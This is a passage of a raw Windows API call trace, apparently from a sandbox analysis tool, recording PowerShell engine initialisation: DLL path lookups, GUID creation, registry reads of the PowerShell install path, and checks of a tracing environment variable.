lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.510] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.510] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x6eff16fd, Data2=0x562d, Data3=0x4a17, Data4=([0]=0x8f, [1]=0x24, [2]=0xf, [3]=0xa6, [4]=0x3d, [5]=0x36, [6]=0xec, [7]=0xb))) returned 0x0 [0062.510] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.510] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.511] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.511] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.511] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.511] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.512] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xacefb584, Data2=0x6738, Data3=0x4028, Data4=([0]=0xa0, [1]=0x15, [2]=0x85, [3]=0x8d, [4]=0x85, [5]=0x85, [6]=0xc0, [7]=0x1))) returned 0x0 [0062.512] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.512] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.512] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xcb358eed, Data2=0x583, Data3=0x4129, Data4=([0]=0xa8, [1]=0x6b, [2]=0x18, [3]=0x8c, [4]=0xdf, [5]=0x26, [6]=0xf5, [7]=0x9))) returned 0x0 [0062.513] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xf54c8291, Data2=0x84e6, Data3=0x4269, Data4=([0]=0x9a, [1]=0x4c, [2]=0x32, [3]=0xc, [4]=0x19, [5]=0xd2, [6]=0x70, [7]=0x5f))) returned 0x0 [0062.513] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x251e8433, Data2=0x602d, Data3=0x44f1, Data4=([0]=0x99, [1]=0xcb, [2]=0xe7, [3]=0x65, [4]=0xa4, [5]=0x68, [6]=0x4f, [7]=0x0))) returned 0x0 [0062.513] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xaaeded2f, Data2=0x998, Data3=0x4e3c, Data4=([0]=0xb7, [1]=0xab, [2]=0x97, [3]=0x1, [4]=0x1d, [5]=0xf, [6]=0xe5, [7]=0xb6))) returned 0x0 [0062.516] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x97d7b54a, Data2=0xbcd0, Data3=0x464b, Data4=([0]=0xbf, [1]=0x6, [2]=0x27, [3]=0x34, [4]=0xd9, [5]=0xc1, [6]=0x23, [7]=0x57))) returned 0x0 [0062.518] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xf8b2d878, Data2=0x89d7, Data3=0x4f4d, Data4=([0]=0xa2, [1]=0x55, [2]=0x35, [3]=0x58, [4]=0xc1, [5]=0xf, [6]=0xd, [7]=0x29))) returned 0x0 [0062.520] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xc11422e, Data2=0xb2bd, Data3=0x4e29, Data4=([0]=0x82, [1]=0x60, [2]=0xf0, [3]=0x12, [4]=0x97, [5]=0x82, [6]=0x98, [7]=0x48))) returned 0x0 [0062.520] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xb87fa2b2, Data2=0x6707, Data3=0x447b, Data4=([0]=0x83, [1]=0xbc, [2]=0xe, [3]=0xb8, [4]=0xd0, [5]=0x4b, [6]=0xa, [7]=0x16))) returned 0x0 [0062.520] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xa3d8ee, Data2=0xb289, Data3=0x4ed2, Data4=([0]=0xa6, [1]=0xe2, [2]=0x5c, [3]=0x8, [4]=0x8, [5]=0x2f, [6]=0x15, [7]=0x6))) returned 0x0 [0062.521] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x8b86395c, Data2=0xbc1d, Data3=0x4810, Data4=([0]=0x86, [1]=0x31, [2]=0xff, [3]=0xe2, [4]=0xf3, [5]=0xdc, [6]=0x48, [7]=0x31))) returned 0x0 [0062.521] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xf2d684f9, Data2=0x92a0, Data3=0x4c5d, Data4=([0]=0x80, [1]=0x8a, [2]=0x49, [3]=0xbd, [4]=0x5a, [5]=0x57, [6]=0xa0, [7]=0x76))) returned 0x0 [0062.521] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xb5ab17bd, Data2=0xacb6, Data3=0x4906, Data4=([0]=0x86, [1]=0xa6, [2]=0x27, [3]=0x60, [4]=0x84, [5]=0xf, [6]=0x3c, [7]=0x63))) returned 0x0 [0062.522] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xfd11bd71, Data2=0xa601, Data3=0x4b3e, Data4=([0]=0x8e, [1]=0x69, [2]=0x6a, [3]=0x72, [4]=0xe, [5]=0x28, [6]=0xbc, [7]=0x34))) returned 0x0 [0062.522] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x1c0ce31a, Data2=0xf13d, Data3=0x4d25, Data4=([0]=0x89, [1]=0x46, [2]=0x96, [3]=0x80, [4]=0x4e, [5]=0x8c, [6]=0xac, [7]=0x27))) returned 0x0 [0062.531] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d048 | out: phkResult=0x27d048*=0x308) returned 0x0 [0062.531] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27cfcc, lpData=0x0, lpcbData=0x27cfc8*=0x0 | out: lpType=0x27cfcc*=0x1, lpData=0x0, lpcbData=0x27cfc8*=0x56) returned 0x0 [0062.531] CoTaskMemAlloc (cb=0x5a) returned 0x1b789150 [0062.531] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27cf9c, lpData=0x1b789150, lpcbData=0x27cf98*=0x56 | out: lpType=0x27cf9c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x27cf98*=0x56) returned 0x0 [0062.532] CoTaskMemFree (pv=0x1b789150) [0062.532] RegCloseKey (hKey=0x308) returned 0x0 [0062.534] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xd7804a5d, Data2=0xaffb, Data3=0x41ac, Data4=([0]=0xab, [1]=0x97, [2]=0x91, [3]=0x42, [4]=0x56, [5]=0x74, [6]=0xfd, [7]=0xfb))) returned 0x0 [0062.534] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xd60427cc, Data2=0xcc78, Data3=0x494f, Data4=([0]=0xbf, [1]=0xf2, [2]=0xc8, [3]=0x69, [4]=0x67, [5]=0xee, [6]=0x67, [7]=0x4e))) returned 0x0 [0062.534] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x46400e87, Data2=0x5798, Data3=0x4f69, Data4=([0]=0x83, [1]=0x2c, [2]=0x55, [3]=0x68, [4]=0x7a, [5]=0xa4, [6]=0x98, [7]=0x87))) returned 0x0 [0062.534] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xa45b0100, Data2=0x2ab8, Data3=0x45fb, Data4=([0]=0x92, [1]=0x94, [2]=0x6, [3]=0x47, [4]=0x3c, [5]=0x27, [6]=0x3d, [7]=0x23))) returned 0x0 [0062.535] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x7aab58b4, Data2=0xd007, Data3=0x4865, Data4=([0]=0x95, [1]=0x35, [2]=0x88, [3]=0xf4, [4]=0xd5, [5]=0x73, [6]=0x27, [7]=0x9a))) returned 0x0 [0062.535] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x2f09aa03, Data2=0xa86c, Data3=0x4307, Data4=([0]=0x90, [1]=0xc, [2]=0x36, [3]=0xd3, [4]=0x48, [5]=0x14, [6]=0xb7, [7]=0x97))) returned 0x0 [0062.535] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xf9c65c5d, Data2=0xac2e, Data3=0x49a5, Data4=([0]=0x8e, [1]=0x17, [2]=0x5f, [3]=0xd7, [4]=0x23, [5]=0x2c, [6]=0xc, [7]=0x10))) returned 0x0 [0062.535] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x8514c71e, Data2=0x29ec, Data3=0x45f0, Data4=([0]=0x9e, [1]=0x95, [2]=0x7d, [3]=0xf9, [4]=0x30, [5]=0x59, [6]=0x43, [7]=0xe5))) returned 0x0 [0062.536] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x2fb9ab06, Data2=0x40, Data3=0x4722, Data4=([0]=0xae, [1]=0x8f, [2]=0xed, [3]=0x54, [4]=0x42, [5]=0xa8, [6]=0x70, [7]=0xf))) returned 0x0 [0062.536] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xd11c6d9b, Data2=0xd99d, Data3=0x419a, Data4=([0]=0x94, [1]=0x1f, [2]=0xe9, [3]=0x1a, [4]=0x37, [5]=0x78, [6]=0x69, [7]=0xa3))) returned 0x0 [0062.536] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x4911592c, Data2=0x611c, Data3=0x4666, Data4=([0]=0xb0, [1]=0xd8, [2]=0xea, [3]=0x95, [4]=0xd6, [5]=0xae, [6]=0x1a, [7]=0xf8))) returned 0x0 [0062.536] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xeda1b4e9, Data2=0x12ed, Data3=0x4939, Data4=([0]=0xb5, [1]=0xf9, [2]=0xa7, [3]=0x1, [4]=0xf7, [5]=0x7f, [6]=0x80, [7]=0x2e))) returned 0x0 [0062.536] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xe6b2d9a, Data2=0xbd22, Data3=0x447e, Data4=([0]=0x81, [1]=0x90, [2]=0xdc, [3]=0xad, [4]=0x4e, [5]=0xe7, [6]=0xe, [7]=0x95))) returned 0x0 [0062.537] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xd44d3312, Data2=0x13c9, Data3=0x4db0, Data4=([0]=0xae, [1]=0x47, [2]=0x9d, [3]=0x52, [4]=0x7a, [5]=0x54, [6]=0x7e, [7]=0xca))) returned 0x0 [0062.537] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xcb70bf60, Data2=0x3d6a, Data3=0x4e0d, Data4=([0]=0x95, [1]=0x9d, [2]=0x58, [3]=0xe4, [4]=0x6e, [5]=0xbb, [6]=0x6e, [7]=0x44))) returned 0x0 [0062.537] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x5a4f40e5, Data2=0x287d, Data3=0x41ec, Data4=([0]=0x8a, [1]=0xc0, [2]=0x46, [3]=0xd1, [4]=0x65, [5]=0x8f, [6]=0xf8, [7]=0x16))) returned 0x0 [0062.537] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xc00a51fb, Data2=0x2c0b, Data3=0x448d, Data4=([0]=0xb1, [1]=0x7d, [2]=0x8, [3]=0xd9, [4]=0x32, [5]=0x93, [6]=0xec, [7]=0x4e))) returned 0x0 [0062.538] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xbd0746be, Data2=0xf90d, Data3=0x4d60, Data4=([0]=0xbd, [1]=0xcf, [2]=0x76, [3]=0xc8, [4]=0x81, [5]=0x66, [6]=0xc2, [7]=0x9f))) returned 0x0 [0062.538] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xbd8f603, Data2=0x84f4, Data3=0x4abc, Data4=([0]=0x92, [1]=0x7b, [2]=0xd9, [3]=0x2f, [4]=0xbd, [5]=0x7f, [6]=0x41, [7]=0xa0))) returned 0x0 [0062.538] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xb8d8a12, Data2=0x9e77, Data3=0x4695, Data4=([0]=0x99, [1]=0x5f, [2]=0x6f, [3]=0x38, [4]=0x1, [5]=0xb2, [6]=0x59, [7]=0xe5))) returned 0x0 [0062.538] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xb3aa5132, Data2=0xe522, Data3=0x4d92, Data4=([0]=0x8b, [1]=0x65, [2]=0xa4, [3]=0xe5, [4]=0xf0, [5]=0x5b, [6]=0x5e, [7]=0x7e))) returned 0x0 [0062.539] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xd4b47a60, Data2=0xebb9, Data3=0x4e11, Data4=([0]=0xa0, [1]=0x75, [2]=0xca, [3]=0xab, [4]=0xc5, [5]=0x6b, [6]=0x85, [7]=0x6a))) returned 0x0 [0062.539] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x41f41233, Data2=0x2568, Data3=0x4b0d, Data4=([0]=0xa0, [1]=0x2f, [2]=0x87, [3]=0x83, [4]=0x8a, [5]=0xdf, [6]=0xd9, [7]=0x66))) returned 0x0 [0062.539] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x181e27ad, Data2=0xd6ee, Data3=0x404a, Data4=([0]=0x93, [1]=0xb3, [2]=0x9f, [3]=0xc7, [4]=0x3d, [5]=0x2c, [6]=0xe1, [7]=0xd5))) returned 0x0 [0062.539] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x87a4b117, Data2=0x7cc8, Data3=0x4a6e, Data4=([0]=0x97, [1]=0x87, [2]=0xa, [3]=0xff, [4]=0x9a, [5]=0xa0, [6]=0xca, [7]=0x70))) returned 0x0 [0062.540] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x7d87ba21, Data2=0xfb3c, Data3=0x49d7, Data4=([0]=0xa4, [1]=0x36, [2]=0xac, [3]=0xde, [4]=0x63, [5]=0xe1, [6]=0x1b, [7]=0xb4))) returned 0x0 [0062.540] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x3d03f0b2, Data2=0x348, Data3=0x4159, Data4=([0]=0x86, [1]=0x3b, [2]=0x2e, [3]=0x86, [4]=0x2e, [5]=0x5c, [6]=0xa3, [7]=0x1b))) returned 0x0 [0062.540] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xd065140e, Data2=0x51ff, Data3=0x4a1b, Data4=([0]=0x9e, [1]=0x4c, [2]=0x8f, [3]=0x73, [4]=0xdb, [5]=0xe0, [6]=0x1f, [7]=0xfc))) returned 0x0 [0062.540] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xa2cc9619, Data2=0x963f, Data3=0x4fbe, Data4=([0]=0x8f, [1]=0x23, [2]=0x7f, [3]=0xd2, [4]=0xa6, [5]=0x91, [6]=0x62, [7]=0x67))) returned 0x0 [0062.540] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xccff3d11, Data2=0x43f, Data3=0x43d1, Data4=([0]=0x8e, [1]=0x6f, [2]=0x6f, [3]=0x69, [4]=0x4f, [5]=0x66, [6]=0x15, [7]=0x82))) returned 0x0 [0062.541] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xa420ab98, Data2=0x1534, Data3=0x405a, Data4=([0]=0x95, [1]=0x30, [2]=0x52, [3]=0x5c, [4]=0x88, [5]=0x5, [6]=0x6d, [7]=0x4e))) returned 0x0 [0062.541] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xcfb0fbbe, Data2=0x87f7, Data3=0x40d3, Data4=([0]=0xb9, [1]=0xb5, [2]=0xbc, [3]=0xdd, [4]=0xa6, [5]=0x3e, [6]=0x43, [7]=0x25))) returned 0x0 [0062.541] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xdb672875, Data2=0x7c98, Data3=0x410d, Data4=([0]=0xbd, [1]=0xd3, [2]=0x6b, [3]=0xaf, [4]=0x70, [5]=0x53, [6]=0xb, [7]=0x30))) returned 0x0 [0062.544] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x1dba877c, Data2=0x4616, Data3=0x4de7, Data4=([0]=0x92, [1]=0x4d, [2]=0x12, [3]=0xe4, [4]=0x3e, [5]=0xc4, [6]=0x56, [7]=0xe4))) returned 0x0 [0062.544] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xd718ef07, Data2=0x53fd, Data3=0x432e, Data4=([0]=0x9a, [1]=0x47, [2]=0x32, [3]=0x1a, [4]=0x59, [5]=0x99, [6]=0xc0, [7]=0x7d))) returned 0x0 [0062.544] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xd3496e25, Data2=0xb2e6, Data3=0x4ee9, Data4=([0]=0x81, [1]=0x13, [2]=0x38, [3]=0xb8, [4]=0xec, [5]=0x31, [6]=0xbd, [7]=0x83))) returned 0x0 [0062.544] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x2342df99, Data2=0x443f, Data3=0x466c, Data4=([0]=0xb3, [1]=0x51, [2]=0x27, [3]=0x8d, [4]=0xac, [5]=0xbc, [6]=0xd4, [7]=0xd5))) returned 0x0 [0062.545] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x400d9ae0, Data2=0xffa9, Data3=0x433c, Data4=([0]=0xb8, [1]=0xe9, [2]=0x91, [3]=0x58, [4]=0x57, [5]=0x6, [6]=0xcf, [7]=0x53))) returned 0x0 [0062.545] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xcef3bd58, Data2=0x35df, Data3=0x4169, Data4=([0]=0x87, [1]=0x49, [2]=0xa2, [3]=0x3d, [4]=0x59, [5]=0x56, [6]=0xf0, [7]=0x59))) returned 0x0 [0062.545] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x62cd85fb, Data2=0xc56a, Data3=0x4b99, Data4=([0]=0x92, [1]=0xf4, [2]=0x48, [3]=0xb5, [4]=0xe8, [5]=0x4f, [6]=0xe1, [7]=0xa5))) returned 0x0 [0062.545] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x6ebb99a5, Data2=0xf49d, Data3=0x4479, Data4=([0]=0x93, [1]=0xff, [2]=0x14, [3]=0x10, [4]=0x4d, [5]=0x3f, [6]=0xbf, [7]=0x64))) returned 0x0 [0062.546] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xacddcb47, Data2=0x3377, Data3=0x4fd4, Data4=([0]=0xab, [1]=0xb1, [2]=0x99, [3]=0x9c, [4]=0x5c, [5]=0x12, [6]=0xc4, [7]=0xf8))) returned 0x0 [0062.546] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x3794d9b2, Data2=0x7ed, Data3=0x487e, Data4=([0]=0x8a, [1]=0xce, [2]=0x61, [3]=0x60, [4]=0x37, [5]=0xba, [6]=0x7, [7]=0x92))) returned 0x0 [0062.546] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xae195438, Data2=0x4dce, Data3=0x4d3d, Data4=([0]=0x9f, [1]=0xad, [2]=0x10, [3]=0x20, [4]=0x93, [5]=0x93, [6]=0x67, [7]=0xa7))) returned 0x0 [0062.546] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x675a3503, Data2=0x8ccc, Data3=0x4777, Data4=([0]=0xb9, [1]=0xab, [2]=0x57, [3]=0x7e, [4]=0x3b, [5]=0xfe, [6]=0xc5, [7]=0x30))) returned 0x0 [0062.547] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xc1737ad2, Data2=0x6ef7, Data3=0x42e7, Data4=([0]=0xbe, [1]=0xfc, [2]=0xc9, [3]=0xc1, [4]=0x61, [5]=0x65, [6]=0x5, [7]=0x92))) returned 0x0 [0062.547] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x6ef3aa2, Data2=0xf72, Data3=0x4721, Data4=([0]=0x89, [1]=0x71, [2]=0x1a, [3]=0x0, [4]=0xec, [5]=0x54, [6]=0x8e, [7]=0xe0))) returned 0x0 [0062.547] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x570b1e71, Data2=0x13bb, Data3=0x44a0, Data4=([0]=0x82, [1]=0xbb, [2]=0xd9, [3]=0x0, [4]=0xf, [5]=0xd0, [6]=0x25, [7]=0x29))) returned 0x0 [0062.553] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d048 | out: phkResult=0x27d048*=0x308) returned 0x0 [0062.553] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27cfcc, lpData=0x0, lpcbData=0x27cfc8*=0x0 | out: lpType=0x27cfcc*=0x1, lpData=0x0, lpcbData=0x27cfc8*=0x56) returned 0x0 [0062.553] CoTaskMemAlloc (cb=0x5a) returned 0x1b789150 [0062.553] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27cf9c, lpData=0x1b789150, lpcbData=0x27cf98*=0x56 | out: lpType=0x27cf9c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x27cf98*=0x56) returned 0x0 [0062.553] CoTaskMemFree (pv=0x1b789150) [0062.554] RegCloseKey (hKey=0x308) returned 0x0 [0062.554] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xe9c8056d, Data2=0x7b2e, Data3=0x4a72, Data4=([0]=0x90, [1]=0xbd, [2]=0x5c, [3]=0x5e, [4]=0xb4, [5]=0x6f, [6]=0xf, [7]=0x50))) returned 0x0 [0062.554] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xcd0e0412, Data2=0xbfb8, Data3=0x483b, Data4=([0]=0x97, [1]=0x29, [2]=0x74, [3]=0xbc, [4]=0x57, [5]=0x5a, [6]=0x9e, [7]=0xa7))) returned 0x0 [0062.556] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d048 | out: phkResult=0x27d048*=0x308) returned 0x0 [0062.556] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27cfcc, lpData=0x0, lpcbData=0x27cfc8*=0x0 | out: lpType=0x27cfcc*=0x1, lpData=0x0, lpcbData=0x27cfc8*=0x56) returned 0x0 [0062.556] CoTaskMemAlloc (cb=0x5a) returned 0x1b789150 [0062.556] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27cf9c, lpData=0x1b789150, lpcbData=0x27cf98*=0x56 | out: lpType=0x27cf9c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x27cf98*=0x56) returned 0x0 [0062.556] CoTaskMemFree (pv=0x1b789150) [0062.557] RegCloseKey (hKey=0x308) returned 0x0 [0062.557] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0xb11f9165, Data2=0x7754, Data3=0x47bf, Data4=([0]=0x8d, [1]=0x7d, [2]=0x26, [3]=0x5e, [4]=0x45, [5]=0x9a, [6]=0x9a, [7]=0x6e))) returned 0x0 [0062.558] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x6c77ec3a, Data2=0xa0b2, Data3=0x4d29, Data4=([0]=0xb3, [1]=0x58, [2]=0xf4, [3]=0x69, [4]=0x60, [5]=0xb4, [6]=0x8d, [7]=0x6d))) returned 0x0 [0062.569] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x27d010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0062.569] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x27d010, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0062.641] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0062.641] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.641] CoTaskMemFree (pv=0x18b130) [0062.642] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0062.642] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.642] CoTaskMemFree (pv=0x18b130) [0062.643] CoTaskMemAlloc 